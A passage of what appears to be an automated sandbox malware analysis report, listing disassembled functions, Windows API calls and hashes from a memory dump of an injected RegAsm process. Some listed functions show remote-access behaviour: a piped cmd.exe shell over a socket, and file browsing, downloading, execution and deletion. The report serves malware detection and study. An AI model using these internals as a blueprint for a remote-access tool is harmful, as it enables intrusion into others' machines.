                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • Part of subcall function 0044F077: _abort.LIBCMT ref: 0044F0A9
                        • Part of subcall function 0044F077: _free.LIBCMT ref: 0044F0DD
                        • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                      • _free.LIBCMT ref: 0044EFD0
                      • _free.LIBCMT ref: 0044F006
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorLast_abort
                      • String ID:
                      • API String ID: 2991157371-0
                      • Opcode ID: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                      • Instruction ID: 3a29b68b49955ca98559fee15c42126097606514ccea0e67eec2104835090475
                      • Opcode Fuzzy Hash: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                      • Instruction Fuzzy Hash: FD31D531904104BFFB10EB6AD440B9EB7E4FF40329F2540AFE5149B2A1DB399D45CB48
                      Function 004484CA Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7,00000000), ref: 0044852A
                      • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00448537
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc__crt_fast_encode_pointer
                      • String ID:
                      • API String ID: 2279764990-0
                      • Opcode ID: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                      • Instruction ID: 198cd69cd453a5762926ca534f03dc7b1e1ac857a4a5158ec5eb6717dc05f104
                      • Opcode Fuzzy Hash: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                      • Instruction Fuzzy Hash: C3113A37A00131AFEB21DE1CDC4195F7391EB80724716452AFC08AB354DF34EC4186D8
                      Function 0040482D Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                      Download Yara Rule
                      APIs
                      • socket.WS2_32(00000002,00000001,00000006), ref: 00404852
                      • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,0040530B,?,?,00000000,00000000,?,?,00000000,00405208,?,00000000), ref: 0040488E
                        • Part of subcall function 0040489E: WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateEventStartupsocket
                      • String ID:
                      • API String ID: 1953588214-0
                      • Opcode ID: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                      • Instruction ID: 7af5cc85a36d800a693892934b5c0b91abe86707509305098cc6d5fca1b6a633
                      • Opcode Fuzzy Hash: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                      • Instruction Fuzzy Hash: 6E0171B1408B809ED7359F38A8456977FE0AB55304F048D6EF1DA97B91D3B5A881CB18
                      Function 10001EEC Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                      Download Yara Rule
                      APIs
                      • dllmain_crt_process_attach.LIBCMT ref: 10001F22
                      • dllmain_crt_process_detach.LIBCMT ref: 10001F35
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: dllmain_crt_process_attachdllmain_crt_process_detach
                      • String ID:
                      • API String ID: 3750050125-0
                      • Opcode ID: a083a93b774f70b3c38eb0fc97558fdcbb4f7ca7475fb23d15f98f17c44c9911
                      • Instruction ID: 876e10da87b92cf64c449b9c471687dd08192407587f6dd1e67cbf7e6a41b987
                      • Opcode Fuzzy Hash: a083a93b774f70b3c38eb0fc97558fdcbb4f7ca7475fb23d15f98f17c44c9911
                      • Instruction Fuzzy Hash: A0E0D83646820BEAFB11EEB498156FD37D8EB011C1F100536B851C115ECB39EB90F121
                      Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 42a83028ea29ee4520479fdfd1ce509581fbe236408560bbb12e48215694f405
                      • Instruction ID: 20740d68f627359004b4f50e822579efa7e6dd26000e0d34fcfb16e84f8f3500
                      • Opcode Fuzzy Hash: 42a83028ea29ee4520479fdfd1ce509581fbe236408560bbb12e48215694f405
                      • Instruction Fuzzy Hash: 6EF0E2706042015BDB1C8B34CD60B2A36955B84315F288F3FF01AD61E0C73EC8918A0D
                      Function 0041BA96 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Window$ForegroundText
                      • String ID:
                      • API String ID: 29597999-0
                      • Opcode ID: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                      • Instruction ID: 4615795adb372a642f3ed3ff298372a60f443b3219566b47796808df054d69ed
                      • Opcode Fuzzy Hash: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                      • Instruction Fuzzy Hash: CCE0D875A00328A7E720A7A49C4EFE5776CEB08701F0000EEBA18D71C2EAB4AD04C7E4
                      Function 00414EE9 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON
                      Download Yara Rule
                      APIs
                      • getaddrinfo.WS2_32(00000000,00000000,00000000,00472ADC,004750E4,00000000,00415188,00000000,00000001), ref: 00414F0B
                      • WSASetLastError.WS2_32(00000000), ref: 00414F10
                        • Part of subcall function 00414D86: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                        • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E17
                        • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                        • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                        • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E76
                        • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                        • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                        • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
                      • String ID:
                      • API String ID: 1170566393-0
                      • Opcode ID: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                      • Instruction ID: cadd3d9b0d0923a9352550a0b766658ea18523973fceddbfefdc7c35282954d4
                      • Opcode Fuzzy Hash: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                      • Instruction Fuzzy Hash: 9ED017322015316BD320A769AC01AFBAA9EDBD7771B16003BFA08D3210D6949C8282E8
                      Function 100038E8 Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 10003AF1: try_get_function.LIBVCRUNTIME ref: 10003B06
                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003906
                      • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 10003911
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                      • String ID:
                      • API String ID: 806969131-0
                      • Opcode ID: 85dde84de96db858e9ac955eb0900af54eb95c15fda99a7601862167fd99e8cb
                      • Instruction ID: 7b09b9f0a56a55c342e0a0cde292dff0536b901afa775ab746cb2a45ce2dbbc5
                      • Opcode Fuzzy Hash: 85dde84de96db858e9ac955eb0900af54eb95c15fda99a7601862167fd99e8cb
                      • Instruction Fuzzy Hash: 50D0223A8087431CF80BC6BD2C67A8B23CCCB421F4360C2A6F7209A0CDEF60E0046322
                      Function 0043A3EC Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00438D94: try_get_function.LIBVCRUNTIME ref: 00438DA9
                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40A
                      • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0043A415
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                      • String ID:
                      • API String ID: 806969131-0
                      • Opcode ID: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                      • Instruction ID: 13a2799ba917d8b657c14e130d7338f5d7a652e6d8bc03527a2a5cb893e190b1
                      • Opcode Fuzzy Hash: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                      • Instruction Fuzzy Hash: 23D0A920088310241C14A3792C0F19B53442A3A7BCF70726FFAF4861C3EEDC8062612F
                      Function 10005C45 Relevance: 1.6, APIs: 1, Instructions: 65COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 10005CB2
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: __crt_fast_encode_pointer
                      • String ID:
                      • API String ID: 3768137683-0
                      • Opcode ID: 309bc129bf2195ff1d9c64394061bd6fc65cf8cbf03cde5b7a92afcb69d4c1ae
                      • Instruction ID: bece27fcde9612dcc576c905fc453b1e46dde912844247b60aafe4dc7e802519
                      • Opcode Fuzzy Hash: 309bc129bf2195ff1d9c64394061bd6fc65cf8cbf03cde5b7a92afcb69d4c1ae
                      • Instruction Fuzzy Hash: D0118F37A007259FFB26DE18DD9095B73E5EB843E17168220ED18AB258DA32EC0196A1
                      Function 004118B2 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: c1bd85037f78227014944570c8e1386f57ec7c93b410e94521ce381e63f7069c
                      • Instruction ID: 7a76c105a712203ac593d2e3a9180375903654e9edbd33c69f6c8f8a5c58a470
                      • Opcode Fuzzy Hash: c1bd85037f78227014944570c8e1386f57ec7c93b410e94521ce381e63f7069c
                      • Instruction Fuzzy Hash: 971123B27201019FD7149B18C890FA6B76AFF51721B59425AE202CB3B2DB30EC91C694
                      Function 0043AA1B Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: __alldvrm
                      • String ID:
                      • API String ID: 65215352-0
                      • Opcode ID: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                      • Instruction ID: 96d9d97d68b67d0c8e80b5665a39335b0ee5c72343be31c2f0b4d265a228e715
                      • Opcode Fuzzy Hash: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                      • Instruction Fuzzy Hash: 08012872950318BFDB24EF64C942B6E77ECEB0531DF10846FE48597240C6799D00C75A
                      Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AllocateHeap
                      • String ID:
                      • API String ID: 1279760036-0
                      • Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                      • Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
                      • Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                      • Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF
                      Function 0040489E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                      Download Yara Rule
                      APIs
                      • WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Startup
                      • String ID:
                      • API String ID: 724789610-0
                      • Opcode ID: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                      • Instruction ID: a24ce82555f98f109a53945ea9c337c8597cdca763f75144b39f195b4e3f482d
                      • Opcode Fuzzy Hash: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                      • Instruction Fuzzy Hash: 0DD0C9325586088AE620AAB4AD0B8A4775C8312615F0007AA6CA5835D2E6446A19C2AA
                      Function 004027A7 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                      Download Yara Rule
                      APIs
                      • std::_Deallocate.LIBCONCRT ref: 00402E2B
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Deallocatestd::_
                      • String ID:
                      • API String ID: 1323251999-0
                      • Opcode ID: 1728ba59e3f5797c2b26d6c1ec3f14ce13f4925b5309dcbb8e7c7e422a6d3f49
                      • Instruction ID: a1ed0c2070530d0d1545540182683da5b3cb4a6c90a46b83737b9b29f97d9faa
                      • Opcode Fuzzy Hash: 1728ba59e3f5797c2b26d6c1ec3f14ce13f4925b5309dcbb8e7c7e422a6d3f49
                      • Instruction Fuzzy Hash: FFB092364442007ACA026640AC86F5EB762ABA4710F14C92ABA9A281E2D6B74268A647
                      Function 00426CC8 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: send
                      • String ID:
                      • API String ID: 2809346765-0
                      • Opcode ID: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                      • Instruction ID: 80dceff54fd7c7607e374e8a405dba3f032bb15cdc3f4a53630576a73fa931ff
                      • Opcode Fuzzy Hash: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                      • Instruction Fuzzy Hash: 79B09279108202FFCB150B60CD0887A7EAAABC8381F008A2CB187411B1C636C852AB26
                      Function 00426CB1 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: recv
                      • String ID:
                      • API String ID: 1507349165-0
                      • Opcode ID: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                      • Instruction ID: 54da5cb0358175ea3eef87e0ba5f02fe09cc36e19498aa822303b7a5c5cf0de8
                      • Opcode Fuzzy Hash: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                      • Instruction Fuzzy Hash: 38B09B75108302FFC6150750CC0486A7D66DBC8351B00481C714641170C736C8519725
                      Function 00411CA3 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON
                      Download Yara Rule
                      APIs
                      • VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CB3
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AllocVirtual
                      • String ID:
                      • API String ID: 4275171209-0
                      • Opcode ID: 419aedcff02c784107df6911406269fb4724b8c0c47efc41c654e3b285a5c19f
                      • Instruction ID: 079a7b638a28e99b338f4493b6ebfa8105bff269478f0661155a893ef6bf0f7e
                      • Opcode Fuzzy Hash: 419aedcff02c784107df6911406269fb4724b8c0c47efc41c654e3b285a5c19f
                      • Instruction Fuzzy Hash: 13B00872418382EBCF02DF90DD0492ABAB2BB88741F184C5CB2A14107187228428EB06

                      Non-executed Functions

                      Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                      Download Yara Rule
                      APIs
                      • SetEvent.KERNEL32(?,?), ref: 00407CB9
                      • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
                      • DeleteFileW.KERNEL32(00000000), ref: 00407DA9
                        • Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                        • Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                        • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                        • Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                        • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(00000000,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                        • Part of subcall function 00404AA1: SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
                      • GetLogicalDriveStringsA.KERNEL32 ref: 00408278
                      • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
                      • DeleteFileA.KERNEL32(?), ref: 00408652
                        • Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
                        • Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                        • Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                        • Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                      • Sleep.KERNEL32(000007D0), ref: 004086F8
                      • StrToIntA.SHLWAPI(00000000), ref: 0040873A
                        • Part of subcall function 0041C9E2: SystemParametersInfoW.USER32 ref: 0041CAD7
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                      • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                      • API String ID: 1067849700-181434739
                      • Opcode ID: db2f690eb8a5467a40bc19ab23a952cebcf6f9b06c9174cb7d63e6c3cadef85e
                      • Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
                      • Opcode Fuzzy Hash: db2f690eb8a5467a40bc19ab23a952cebcf6f9b06c9174cb7d63e6c3cadef85e
                      • Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B
                      Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                      Download Yara Rule
                      APIs
                      • __Init_thread_footer.LIBCMT ref: 004056E6
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • __Init_thread_footer.LIBCMT ref: 00405723
                      • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
                      • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                      • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                      • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                      • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                      • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                        • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                      • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90), ref: 004059E4
                      • Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
                      • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                      • CloseHandle.KERNEL32 ref: 00405A23
                      • CloseHandle.KERNEL32 ref: 00405A2B
                      • CloseHandle.KERNEL32 ref: 00405A3D
                      • CloseHandle.KERNEL32 ref: 00405A45
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                      • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                      • API String ID: 2994406822-18413064
